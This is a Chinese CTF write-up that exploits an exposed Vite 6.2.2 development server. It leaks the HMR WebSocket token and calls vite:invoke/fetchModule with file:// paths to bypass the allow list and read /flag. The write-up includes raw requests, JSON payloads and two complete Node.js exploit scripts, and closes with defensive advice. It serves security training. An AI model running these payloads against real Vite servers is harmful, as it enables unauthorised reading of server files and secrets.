Vite 开发服务器文件读取 Writeup

Vite 开发服务器文件读取 CTF 题 Writeup

题目信息

  • 目标地址:http://8.147.132.32:44713/
  • 题目类型:Web
  • 核心考点:Vite 开发服务器暴露、未授权文件读取、WebSocket RPC 利用
  • 最终 Flag:flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}

一、题目初探

拿到题目地址后,第一步先不要急着打复杂 payload,而是先判断站点类型、框架特征和暴露面。

直接访问首页,可以看到返回内容非常简单:

html 复制代码
<!doctype html>
<html lang="en">
  <head>
    <script type="module" src="/@vite/client"></script>
    <meta charset="UTF-8" />
    <link rel="icon" type="image/svg+xml" href="/vite.svg" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Vite App</title>
  </head>
  <body>
    <div id="app"></div>
    <script type="module" src="/src/main.js"></script>
  </body>
</html>

从这里可以立刻得到几个非常关键的判断:

  1. 页面包含 /<at>vite/client,说明目标运行的是 Vite 开发服务器,而不是正常构建后的生产站点。
  2. 前端入口是 /src/main.js,说明源码很可能直接暴露。
  3. 标题是 Vite App,高度接近默认模板,说明业务逻辑可能不在前端页面本身,而在开发服务器暴露面或环境配置上。

这里的正确思路不是继续点页面,而是转向:

  • 拉取源码
  • 探测 @fs 文件系统访问能力
  • 确认 Vite 版本
  • 查找是否存在已知开发服务器漏洞

二、读取前端源码并判断是否为"伪页面"

先访问前端入口:

http 复制代码
GET /src/main.js HTTP/1.1
Host: 8.147.132.32:44713

返回内容如下:

js 复制代码
import "/src/style.css";

function setupCounter(element) {
  let counter = 0;
  const setCounter = (count) => {
    counter = count;
    element.innerHTML = `count is ${counter}`;
  };
  element.addEventListener("click", () => setCounter(counter + 1));
  setCounter(0);
}

document.querySelector("#app").innerHTML = `
  <div>
    <h1>Hello Vite!</h1>
    <div class="card">
      <button id="counter" type="button"></button>
    </div>
  </div>
`;

setupCounter(document.querySelector("#counter"));

这是 Vite 默认模板代码,没有任何业务逻辑、接口调用或隐藏参数。

这一步结论非常重要:

  • 页面本身没有解题点
  • 真正的题眼在 Vite 开发服务器配置/暴露面

三、确认 Vite 文件系统暴露能力

Vite 开发环境有一个典型特征:可通过 /@fs/ 访问服务器文件系统中的文件,但正常情况下会受到 server.fs.allowserver.fs.deny 规则限制。

于是开始探测:

1. 访问项目内可公开文件

请求:

http 复制代码
GET /@fs/usr/src/package.json HTTP/1.1
Host: 8.147.132.32:44713

成功返回:

json 复制代码
{
  "name": "vite-project",
  "private": true,
  "version": "0.0.0",
  "type": "module",
  "scripts": {
    "dev": "vite",
    "build": "vite build",
    "preview": "vite preview"
  },
  "devDependencies": {
    "vite": "6.2.2"
  }
}

这一步拿到了两个关键情报:

  1. 项目根目录是 /usr/src
  2. Vite 版本是 6.2.2

2. 测试是否能越权读系统文件

请求:

http 复制代码
GET /@fs/etc/passwd HTTP/1.1
Host: 8.147.132.32:44713

返回提示:

html 复制代码
403 Restricted
The request url "/etc/passwd" is outside of Vite serving allow list.
- /usr/src

说明:

  • @fs 能用
  • 但 HTTP 层仍受到 allow list 限制
  • 当前仅允许读取 /usr/src

这意味着直接通过普通 HTTP 访问系统根目录下的 /flag 可能会失败,需要寻找 HTTP 限制之外的开发服务接口

四、继续信息收集:识别这是一个已知 Vite 漏洞题

既然已经拿到:

  • 框架:Vite
  • 版本:6.2.2
  • 开发模式:开启
  • 页面:默认模板
  • 文件系统暴露:存在

那么接下来最合理的判断是:这题大概率不是让你"猜路径",而是利用 Vite 开发服务器已知漏洞

进一步读取客户端脚本:

http 复制代码
GET /@vite/client HTTP/1.1
Host: 8.147.132.32:44713

在返回内容中可以提取到:

js 复制代码
const wsToken = "GpbwBXQ3ptg3";
new WebSocket(`${socketProtocol}://${socketHost}?token=${wsToken}`, "vite-hmr")

这里再次出现两个关键点:

  1. Vite 使用 WebSocket HMR 通道
  2. 连接需要 token:GpbwBXQ3ptg3

这说明服务端不只是一个普通静态服务器,它还暴露了 HMR WebSocket 通道

五、为什么普通 HTTP 读不到,但 WebSocket 可能读得到

题目的核心在这里。

Vite 开发服务器除了 HTTP 文件访问能力外,还提供给模块运行器使用的 RPC 机制。客户端和服务端通过 WebSocket 通信,其中一个关键事件是:

text 复制代码
vite:invoke

服务端对应会调用某些内部函数,其中之一就是:

text 复制代码
fetchModule(id, importer, options)

这类调用的危险点在于:

  • 普通 HTTP 路由会检查 fs.allow
  • 但内部模块获取逻辑如果直接接受 file:// URL,并未做同等级限制,就可能导致越权读文件

这就是这题真正的利用入口。

六、验证 WebSocket 通道可连通

使用 Node 原生 WebSocket 连接:

js 复制代码
const ws = new WebSocket(
  "ws://8.147.132.32:44713/?token=GpbwBXQ3ptg3",
  "vite-hmr"
);

连接建立后,服务端会返回:

json 复制代码
{"type":"connected"}

这一步说明:

  • token 正确
  • HMR WebSocket 可正常通信
  • 可以继续构造自定义 RPC 调用

七、分析 vite:invoke 的消息格式

为了避免盲打,应该先从暴露出来的 node_modules/vite 源码中恢复出 RPC 包格式。

目标可直接访问:

http 复制代码
GET /@fs/usr/src/node_modules/vite/dist/node/chunks/dep-B0fRCRkQ.js HTTP/1.1
Host: 8.147.132.32:44713

在服务端实现中可以找到如下逻辑:

js 复制代码
listenerForInvokeHandler = async (payload, client) => {
  const responseInvoke = payload.id.replace("send", "response");
  client.send({
    type: "custom",
    event: "vite:invoke",
    data: {
      name: payload.name,
      id: responseInvoke,
      data: await handleInvoke({
        data: payload
      })
    }
  });
};

handleInvoke 中继续可见:

js 复制代码
const data = payload.data;
const { name, data: args } = data;
const invokeHandler = invokeHandlers[name];
const result = await invokeHandler(...args);
return { result };

而环境初始化时注册了:

js 复制代码
fetchModule: (id, importer, options) => {
  return this.fetchModule(id, importer, options);
}

这说明 RPC 包结构为:

json 复制代码
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "send:0",
    "data": [目标路径, importer, options]
  }
}

八、先做一次"已知存在文件"的校验

在真正读 flag 之前,先用一个已知存在的文件验证利用链是否成立,比如:

text 复制代码
file:///usr/src/.gitignore?raw

发送如下消息:

json 复制代码
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "send:0",
    "data": ["file:///usr/src/.gitignore?raw", null, {"inlineSourceMap": false}]
  }
}

服务端成功响应,返回内容中包含:

json 复制代码
{
  "result": {
    "code": "export default \"# Logs\\r\\nlogs\\r\\n...\"",
    "file": "/usr/src/.gitignore",
    "id": "/usr/src/.gitignore?raw",
    "url": "/@fs/usr/src/.gitignore?raw",
    "invalidate": false
  }
}

这一步的意义非常大,证明了:

  1. vite:invoke 可被未授权调用
  2. fetchModule 确实可通过 WebSocket 被远程触发
  3. file:// 路径可被解析
  4. ?raw 可以把普通文件内容包装成模块导出

到这里,题其实已经解开一半了。

九、猜测 Flag 路径

CTF 容器题里最常见的 flag 路径通常有:

  • /flag
  • /flag.txt
  • /root/flag
  • /tmp/flag
  • /app/flag
  • /usr/src/flag

结合这类容器题的习惯,/flag 是非常高频的默认放置位置。

于是优先尝试:

text 复制代码
file:///flag?raw

十、最终利用与拿到 Flag

发送的最终 WebSocket 消息:

json 复制代码
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "send:4",
    "data": ["file:///flag?raw", null, {"inlineSourceMap": false}]
  }
}

服务端返回:

json 复制代码
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "response:4",
    "data": {
      "result": {
        "code": "export default \"flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}\"",
        "file": "/flag",
        "id": "/flag?raw",
        "url": "/@fs/flag?raw",
        "invalidate": true
      }
    }
  }
}

code 字段中即可直接提取出 flag:

text 复制代码
flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}

十一、完整利用脚本

下面给出一份可直接复现的 Node.js 脚本。

js 复制代码
const token = "GpbwBXQ3ptg3";
const target = "file:///flag?raw";

const ws = new WebSocket(
  `ws://8.147.132.32:44713/?token=${token}`,
  "vite-hmr"
);

ws.addEventListener("open", () => {
  const payload = {
    type: "custom",
    event: "vite:invoke",
    data: {
      name: "fetchModule",
      id: "send:1",
      data: [target, null, { inlineSourceMap: false }]
    }
  };
  ws.send(JSON.stringify(payload));
});

ws.addEventListener("message", (ev) => {
  console.log(ev.data.toString());
});

如果需要自动提取 flag,也可以用下面这个版本:

js 复制代码
const token = "GpbwBXQ3ptg3";
const target = "file:///flag?raw";

const ws = new WebSocket(
  `ws://8.147.132.32:44713/?token=${token}`,
  "vite-hmr"
);

ws.addEventListener("open", () => {
  ws.send(JSON.stringify({
    type: "custom",
    event: "vite:invoke",
    data: {
      name: "fetchModule",
      id: "send:1",
      data: [target, null, { inlineSourceMap: false }]
    }
  }));
});

ws.addEventListener("message", (ev) => {
  const msg = JSON.parse(ev.data);
  if (msg.type === "custom" && msg.event === "vite:invoke") {
    const code = msg.data?.data?.result?.code || "";
    const m = code.match(/flag\\{[^"]+\\}/);
    if (m) {
      console.log("FLAG:", m[0]);
      ws.close();
    }
  }
});

十二、题目原理总结

这道题的本质不是"前端源码泄露",而是:

  1. 目标暴露了 Vite 开发服务器
  2. 前端源码、项目结构、依赖版本因此可直接被读取
  3. 通过 @vite/client 可以拿到 HMR WebSocket token
  4. 通过暴露的 node_modules/vite 源码可以反推出 vite:invoke RPC 格式
  5. 通过 fetchModule(file://... ?raw) 可以绕过普通 HTTP 路由的访问限制
  6. 最终从系统根目录读取 /flag

换句话说,漏洞链不是单点,而是一个完整的开发环境暴露利用链:

text 复制代码
Vite 开发环境暴露
-> 可读源码和依赖
-> 获取 HMR token
-> 连接 WebSocket
-> 调用 vite:invoke / fetchModule
-> 读取 file:///flag?raw
-> 拿到 flag

十三、为什么这题设计得比较典型

这是一道比较标准的现代前端开发服务器利用题,原因在于它考察的不是传统 Web 漏洞,而是:

  • 对前端工程化工具链的理解
  • 对开发环境与生产环境差异的理解
  • 对 WebSocket 内部 RPC 的利用能力
  • 对源码审计与快速定位关键函数的能力

如果只停留在"访问首页、看源码、扫目录"的层面,很容易误以为这题没有内容。真正的突破点在于意识到:

题目故意给了一个默认 Vite 页面,真正的漏洞点藏在开发服务器本身。

十四、解题过程中的关键判断复盘

这里把整道题最重要的判断节点再总结一遍:

1. 首页出现 @vite/client

这不是普通站点,而是 Vite 开发环境。

2. /src/main.js 是默认模板

说明前端页面不是主战场。

3. /@fs/usr/src/package.json 可读

确认存在文件系统暴露,并拿到 Vite 版本 6.2.2

4. /@fs/etc/passwdallow list 拦截

说明普通 HTTP 文件读取受限,需要寻找旁路。

5. @vite/client 泄露 wsToken

HMR WebSocket 可以利用。

6. node_modules/vite 可读

可以直接审计源码,恢复 RPC 协议格式。

7. file:///usr/src/.gitignore?raw 成功

证明 WebSocket fetchModule 利用链成立。

8. file:///flag?raw 成功

直接拿到最终 flag。

十五、最终答案

text 复制代码
flag{2ccfc6a1-9352-4ce4-8d82-45ae529de46d}

十六、附:简要防护建议

从防守视角看,这类问题的核心修复思路有以下几条:

  1. 不要把 Vite 开发服务器直接暴露到公网。
  2. 开发环境不要承载真实敏感文件。
  3. 禁止未授权访问 HMR/WebSocket 调试通道。
  4. 升级到修复相关安全问题的 Vite 版本。
  5. 将开发、测试、生产环境彻底隔离。

以上就是本题完整 writeup。

相关推荐
开开心心_Every2 小时前
动图制作工具,拆分转视频动态照离线免费
运维·前端·人工智能·edge·pdf·散列表·启发式算法
薛定猫AI2 小时前
【技术干货】OpenAI Codex 重大更新:从代码补全工具到全流程智能开发平台
运维·人工智能
曦云沐3 小时前
Linux 下极简安装 Conda(Miniconda / Anaconda),5 分钟搞定环境配置
linux·运维·conda
key_3_feng3 小时前
基于OpenClaw的Alibaba Cloud Linux 3自动化部署YashanDB深度方案
linux·运维·自动化·yashandb
zzzsde3 小时前
【Linux】进程信号(2)保存信号与信号处理
linux·运维·服务器·算法
代码飞天3 小时前
CTF之文件上传——你知道我在你的服务器上放了什么吗
运维·服务器
wsdswzj3 小时前
web与web服务器基础安全
服务器·前端·安全
小此方3 小时前
Re:Linux系统篇(一)从浅谈操作系统历史背景到安装部署云服务器
linux·运维·服务器
Deitymoon4 小时前
基于 Socket 的FTP 云盘系统
linux·服务器·网络